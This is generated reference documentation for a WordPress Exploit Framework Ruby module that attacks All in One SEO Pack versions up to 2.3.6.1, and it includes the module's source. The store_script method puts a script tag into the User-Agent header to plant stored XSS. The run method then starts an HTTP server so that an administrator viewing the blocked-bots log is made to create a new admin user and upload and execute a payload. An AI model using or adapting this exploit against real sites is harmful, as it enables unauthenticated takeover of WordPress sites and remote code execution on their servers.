Class: Wpxf::Exploit::AllInOneSeoPackXssShellUpload

Inherits:
Module
  • Object
show all
Includes:
WordPress::Xss
Defined in:
lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Xss

#on_http_request, #upload_shell, #wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #on_http_request, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ AllInOneSeoPackXssShellUpload

Returns a new instance of AllInOneSeoPackXssShellUpload.



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# File 'lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb', line 6

def initialize
  super

  update_info(
    name: 'All in One SEO Pack <= 2.3.6.1 Stored XSS Shell Upload',
    desc: %(
            This module exploits a lack of HTTP header sanitization in
            versions <= 2.3.6.1 of the All in One SEO Pack plugin which
            allows unauthenticated users to store a script that will
            create a new admin user and use the new credentials to upload
            and execute a payload when an admin views the blocked bot logs.
          ).strip,
    author: [
      'David Vaartjes', # Disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '8538'],
      ['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html']
    ],
    date: 'Jul 10 2016'
  )
end

Instance Method Details

#blocked_bots ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb', line 34

def blocked_bots
  [
    'Abonti',
    'aggregator',
    'AhrefsBot',
    'asterias',
    'BDCbot',
    'BLEXBot',
    'BuiltBotTough',
    'Bullseye',
    'BunnySlippers',
    'ca-crawler',
    'CCBot',
    'Cegbfeieh',
    'CheeseBot',
    'CherryPicker',
    'CopyRightCheck',
    'cosmos',
    'Crescent',
    'discobot',
    'DittoSpyder',
    'DotBot',
    'Download Ninja',
    'EasouSpider',
    'EmailCollector',
    'EmailSiphon',
    'EmailWolf',
    'EroCrawler',
    'Exabot',
    'ExtractorPro',
    'Fasterfox',
    'FeedBooster',
    'Foobot',
    'Genieo',
    'grub-client',
    'Harvest',
    'hloader',
    'httplib',
    'HTTrack',
    'humanlinks',
    'ieautodiscovery',
    'InfoNaviRobot',
    'IstellaBot',
    'Java/1.',
    'JennyBot',
    'k2spider',
    'Kenjin Spider',
    'Keyword Density/0.9',
    'larbin',
    'LexiBot',
    'libWeb',
    'libwww',
    'LinkextractorPro',
    'linko',
    'LinkScan/8.1a Unix',
    'LinkWalker',
    'LNSpiderguy',
    'lwp-trivial',
    'magpie',
    'Mata Hari',
    'MaxPointCrawler',
    'MegaIndex',
    'Microsoft URL Control',
    'MIIxpc',
    'Mippin',
    'Missigua Locator',
    'Mister PiX',
    'MJ12bot',
    'moget',
    'MSIECrawler',
    'NetAnts',
    'NICErsPRO',
    'Niki-Bot',
    'NPBot',
    'Nutch',
    'Offline Explorer',
    'Openfind',
    'panscient.com',
    'PHP/5.{',
    'ProPowerBot/2.14',
    'ProWebWalker',
    'Python-urllib',
    'QueryN Metasearch',
    'RepoMonkey',
    'RMA',
    'SemrushBot',
    'SeznamBot',
    'SISTRIX',
    'sitecheck.Internetseer.com',
    'SiteSnagger',
    'SnapPreviewBot',
    'Sogou',
    'SpankBot',
    'spanner',
    'spbot',
    'Spinn3r',
    'suzuran',
    'Szukacz/1.4',
    'Teleport',
    'Telesoft',
    'The Intraformant',
    'TheNomad',
    'TightTwatBot',
    'Titan',
    'toCrawl/UrlDispatcher',
    'True_Robot',
    'turingos',
    'TurnitinBot',
    'UbiCrawler',
    'UnisterBot',
    'URLy Warning',
    'VCI',
    'WBSearchBot',
    'Web Downloader/6.9',
    'Web Image Collector',
    'WebAuto',
    'WebBandit',
    'WebCopier',
    'WebEnhancer',
    'WebmasterWorldForumBot',
    'WebReaper',
    'WebSauger',
    'Website Quester',
    'Webster Pro',
    'WebStripper',
    'WebZip',
    'Wotbox',
    'wsr-agent',
    'WWW-Collector-E',
    'Xenu',
    'Zao',
    'Zeus',
    'ZyBORG',
    'coccoc',
    'Incutio',
    'lmspider',
    'memoryBot',
    'SemrushBot',
    'serf',
    'Unknown',
    'uptime files'
  ]
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb', line 30

def check
  check_plugin_version_from_readme('all-in-one-seo-pack', '2.3.6.2')
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb', line 199

def run
  return false unless super
  return false unless store_script

  emit_success 'Script stored and will be executed when a user views the blocked bots log'
  start_http_server

  xss_shell_success
end

#store_script ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/all_in_one_seo_pack_xss_shell_upload.rb', line 178

def store_script
  emit_info 'Storing script...'
  res = execute_get_request(
    url: full_uri,
    headers: {
      'User-Agent' => "#{blocked_bots.sample}<script>#{xss_ascii_encoded_include_script}</script>"
    }
  )

  if res.nil?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 503
    emit_warning "Server responded with code #{res.code}, expected 503"
  end

  true
end